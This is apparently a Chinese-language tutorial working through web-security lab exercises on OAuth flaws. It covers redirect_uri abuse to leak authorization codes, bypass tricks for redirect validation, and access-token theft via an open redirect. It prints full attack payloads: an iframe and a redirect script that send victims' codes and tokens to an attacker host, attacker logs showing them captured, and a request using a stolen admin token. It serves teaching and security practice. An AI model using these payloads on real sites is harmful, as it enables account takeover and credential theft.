提供第三方登入的Oauth服務主機,會因為實作或配置產生漏洞,攻擊者可能得到授權代碼或存取權杖偽造其他使用者登入
OAuth service中的漏洞,常見的有
- 洩漏授權碼和存取令牌:OAuth服務本身的配置使攻擊者能夠竊取與其他使用者帳戶關聯的授權代碼或存取權杖,常見的方法是搭配
redirect_uri
建構類似 CSRF 的攻擊,在將代碼或令牌發送到攻擊者指定的位置 - 範圍驗證有缺陷:在某些情況下,由於 OAuth 服務的驗證有缺陷,攻擊者可能會使用額外的權限升級存取權杖,常見的方法是對
scope
參數動手腳 - 未經驗證的用戶註冊:一些提供OAuth服務的網站允許使用者註冊帳戶,而無需驗證其所有詳細資訊,攻擊者可以透過使用與目標使用者相同的詳細資訊,例如已知的電子郵件地址,就有可能允許攻擊者以受害者身分登入。
其他和OAuth有關漏洞可參考以下
- OAuth Client Application: https://systw.net/note/archives/1465
- OAuth OpenID Connect: https://systw.net/note/archives/1493
利用redirect_uri洩漏授權碼
如果 OAuth 服務無法正確驗證redirect_uri
,攻擊者可能能夠建構類似 CSRF 的攻擊,欺騙受害者的瀏覽器啟動OAuth流程,將授權代碼或存取權杖發送到攻擊者控制的redirect_uri
,舉例如下
範例網站正常流程
假設有一網站第三方登入流程如下,先訪問/my-account和/social-login後,接著會對oauth主機發送請求,拿到code
############# request to oauth ###############
GET /auth?client_id=xljn3qgaifklo9ahhk8os&redirect_uri=https://acc11f551e138a1bc0352e5400ac0032.web-security-academy.net/oauth-callback&response_type=code&scope=openid%20profile%20email
Host: oauth-acd21fb81e638aaac0c22e5102ac0036.web-security-academy.net
...omit...
############# response ###############
...omit... Redirecting to <a href="https://acc11f551e138a1bc0352e5400ac0032.web-security-academy.net/oauth-callback?code=Q_qF-LHv5g4ff-Tp3wfs5f11TP6KaqbMwn1YJ1uwhlF">...omit...
拿到code後會向網站應用程序發送請求,網站確認沒問題後返回登入成功
############# request ###############
GET /oauth-callback?code=Q_qF-LHv5g4ff-Tp3wfs5f11TP6KaqbMwn1YJ1uwhlF HTTP/1.1
Host: acc11f551e138a1bc0352e5400ac0032.web-security-academy.net
...omit...
############# response ###############
...omit...You have successfully logged in with your social media account...omit...
接著就可以正常訪問網站
############# request ###############
GET /my-account?id=wiener HTTP/1.1
Host: acc11f551e138a1bc0352e5400ac0032.web-security-academy.net
...omit...
############# response ###############
...omit...Your username is: wiener...omit...
攻擊流程
訪問/my-account和/social-login後,接著會對oauth主機發送以下請求
GET /auth?client_id=xljn3qgaifklo9ahhk8os&redirect_uri=https://acc11f551e138a1bc0352e5400ac0032.web-security-academy.net/oauth-callback&response_type=code&scope=openid%20profile%20email HTTP/1.1
Host: oauth-acd21fb81e638aaac0c22e5102ac0036.web-security-academy.net
但把這個請求的redirect_uri改為攻擊者主機attackhost
,並包裝成以下網頁放在攻擊者網站上https://attackhost/exploit
<iframe src="https://oauth-acd21fb81e638aaac0c22e5102ac0036.web-security-academy.net/auth?client_id=xljn3qgaifklo9ahhk8os&redirect_uri=https://attackhost&response_type=code&scope=openid%20profile%20email"></iframe>
誘使admin訪問攻擊網址https://attackhost/exploit
,一旦受害者訪問就可在攻擊者主機attackhost
看到以下訪問日志
203.177.137.206 2022-05-04 08:28:29 +0000 "GET /deliver-to-victim HTTP/1.1" 302 "User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36"
172.31.31.214 2022-05-04 08:28:29 +0000 "GET /exploit/ HTTP/1.1" 200 "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.75 Safari/537.36"
172.31.31.214 2022-05-04 08:28:29 +0000 "GET /?code=3iX8irJ51FjDQQ1-cmuqP-EvW_odTwS53Cl6uNROLly
HTTP/1.1" 200 "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.75 Safari/537.36"
...omit...
從訪問日志可以發現admin的code
為3iX8irJ51FjDQQ1-cmuqP-EvW_odTwS53Cl6uNROLly,授權代碼被洩漏
接著使用admin的code
向網站應用程序發送請求,網站確認沒問題後返回登入成功
############# request ###############
GET /oauth-callback?code=3iX8irJ51FjDQQ1-cmuqP-EvW_odTwS53Cl6uNROLly HTTP/1.1
Host: acc11f551e138a1bc0352e5400ac0032.web-security-academy.net
...omit...
############# response ###############
...omit...You have successfully logged in with your social media account...omit...
lab: OAuth account hijacking via redirect_uri
redirect_uri安全機制弱點
有些網站會對redirect_uri做安全限制,因此直接傳入攻擊網址是無效的,但可透過一些方式饒過,常見的有以下
- 某些安全機制只會檢查是否包含正確的字串或域名,因此只有在攻擊網址中包含合法字串即可饒過
- 一些安全機制會允許localhost,因此可以為攻擊網址加上一些localhost字串
例如 localhost.evil-user.net - 將額外的值附加在redirect_uri參數,或許後端應用或不同的元件會對特定格式有反應
例如 https://default-host.com &@foo.evil-user.net#@bar.evil-user.net/ - 使用2個redirect_uri參數做污染
例如 https://oauth-authorization-server.com/?client_id=123&redirect_uri=client-app.com/callback&redirect_uri=evil-user.net - 利用網站的開放重定向漏洞饒過,例如directory travel或任意跳轉等問題
利用饒過redirect_uri安全機制洩露存取令牌
利用開放重定向漏洞饒過redirect_uri安全機制的說明舉例如下
正常流程觀察
某一網站第三方登入流程如下,訪問/my-account和/social-login後,接著會對oauth主機發送請求,拿到access_token
############# request to oauth###############
GET /auth?client_id=vpwszdmkr8uss4wsl4bir&redirect_uri=https://acc71f371e54744bc0a407ed00b40056.web-security-academy.net/oauth-callback&response_type=token&nonce=-601412001&scope=openid%20profile%20email HTTP/1.1
Host: oauth-acd71ff41e90747cc00207ce02ab00e2.web-security-academy.net
############# response ###############
HTTP/1.1 302 Found
...omit...
Redirecting to <a href="https://acc71f371e54744bc0a407ed00b40056.web-security-academy.net/oauth-callback#access_token=cc9zGyAFHyBgBothJ6sXEbIzvOlZoE770NWeorbGSfz&expires_in=3600&token_type=Bearer&scope=openid%20profile%20email
...omit...
拿到access_token
後會向網站應用程序發送請求,網站確認沒問題後返回登入成功
############# request ###############
GET /oauth-callback HTTP/1.1
Host: acc71f371e54744bc0a407ed00b40056.web-security-academy.net
############# response ###############
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Connection: close
Content-Length: 734
<script>
const urlSearchParams = new URLSearchParams(window.location.hash.substr(1));
const token = urlSearchParams.get('access_token');
fetch('https://oauth-acd71ff41e90747cc00207ce02ab00e2.web-security-academy.net/me', {
method: 'GET',
headers: {
'Authorization': 'Bearer ' + token,
'Content-Type': 'application/json'
}
})
.then(r => r.json())
.then(j =>
fetch('/authenticate', {
method: 'POST',
headers: {
'Accept': 'application/json',
'Content-Type': 'application/json'
},
body: JSON.stringify({
email: j.email,
username: j.sub,
token: token
})
}).then(r => document.location = '/'))
</script>
接著會對oauth主機/me發送請求,並把剛拿到的access_token放在Authorization,就可得到用戶的apikey
############# request to oauth ###############
GET /me HTTP/1.1
Host: oauth-acd71ff41e90747cc00207ce02ab00e2.web-security-academy.net
Sec-Ch-Ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
Authorization: Bearer cc9zGyAFHyBgBothJ6sXEbIzvOlZoE770NWeorbGSfz
############# response ###############
...omit...
{"sub":"wiener","apikey":"uslpYmY9Ud3Zxitb4i7Fx1XkSMcqShX4","name":"Peter Wiener","email":"wiener@hotdog.com","email_verified":true}
然後透過authenticate和網站應用程序發送請求,確認沒問題返回302
############# request ###############
POST /authenticate HTTP/1.1
Host: acc71f371e54744bc0a407ed00b40056.web-security-academy.net
...omit...
{"email":"wiener@hotdog.com","username":"wiener","token":"cc9zGyAFHyBgBothJ6sXEbIzvOlZoE770NWeorbGSfz"}
############# response ###############
HTTP/1.1 302 Found
Location: /
攻擊過程
1.路徑問題
由於redirect_uri
己被限制不能連到攻擊網站,因此要尋求其他方法
但目標網站發現2個問題所以可克服這個安全限制
- directory travel問題:
https://YOUR-LAB-ID.web-security-academy.net/oauth-callback/../post?postId=1
- 任意跳轉問題:
https://YOUR-LAB-ID.web-security-academy.net/post/next?path=http://attackhost
因此可以結合這2個問題,讓redirect_uri
跳轉到攻擊網站:
redirect_uri=https://0a7e00ec0365f4dbc0af04400078005d.web-security-academy.net/oauth-callback/../post/next?path=https://attackhost/exploit
2.製做攻擊網頁
先取得一開始對oauth主機發送請求
GET /auth?client_id=vpwszdmkr8uss4wsl4bir&redirect_uri=https://acc71f371e54744bc0a407ed00b40056.web-security-academy.net/oauth-callback&response_type=token&nonce=-601412001&scope=openid%20profile%20email HTTP/1.1
Host: oauth-acd71ff41e90747cc00207ce02ab00e2.web-security-academy.net
然後把這個請求的redirect_uri搭配2個路徑問題改為攻擊者主機attackhost
,並包裝成以下網頁放在攻擊者網站上https://attackhost/exploit
<script>
if (!document.location.hash) {
window.location = 'https://oauth-0a860026034ff4abc02b04a402ed00e0.web-security-academy.net/auth?client_id=iwkqgpp7745pos692l5e1&redirect_uri=https://0a7e00ec0365f4dbc0af04400078005d.web-security-academy.net/oauth-callback/../post/next?path=https://attackerhost/exploit/&response_type=token&nonce=399721827&scope=openid%20profile%20email'
} else {
window.location = '/?'+document.location.hash.substr(1)
}
</script>
3.誘使受害者訪問惡意網頁
誘使admin訪問攻擊網址https://attackhost/exploit
一旦受害者訪問攻擊網頁會根據代碼動作轉址2次,第一次會轉址到 https://attackhost/exploit#access_token=cc9zGyAFHyBgBothJ6sXEbIzvOlZoE770NWeorbGSfz&expires_in=3600&token_type=Bearer&scope=openid%20profile%20email
第二次在轉到https://attackhost/?access_token=cc9zGyAFHyBgBothJ6sXEbIzvOlZoE770NWeorbGSfz&expires_in=3600&token_type=Bearer&scope=openid%20profile%20email
接著就可在攻擊者主機attackhost
看到以下訪問日志
10.0.3.244 2022-06-01 09:22:38 +0000 "GET /?access_token=Bkgrt_ypdsbSUuXMW7HFa9NXitypHaXF_lALFGpklZj&expires_in=3600&token_type=Bearer&scope=openid%20profile%20email HTTP/1.1" 200 "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.61 Safari/537.36"
...omit...
從訪問日志可以發現admin的access_token
為Bkgrt_ypdsbSUuXMW7HFa9NXitypHaXF_lALFGpklZj,存取權令牌被洩漏
4.使用admin的token取得apikey
接著將access_token放入Authorization對/me送出請求,就可取得admin的apikey
############# request ###############
GET /me HTTP/1.1
Host: oauth-0a860026034ff4abc02b04a402ed00e0.web-security-academy.net
Sec-Ch-Ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
Authorization: Bearer Bkgrt_ypdsbSUuXMW7HFa9NXitypHaXF_lALFGpklZj
...omit...
############# response ###############
{"sub":"administrator","apikey":"YDIPrjtNEoC5T7kFzIQGaySwOi4KVAaE","name":"Administrator","email":"administrator@normal-user.net","email_verified":true}
成功取得admin的apikey: YDIPrjtNEoC5T7kFzIQGaySwOi4KVAaE
Lab: Stealing OAuth access tokens via an open redirect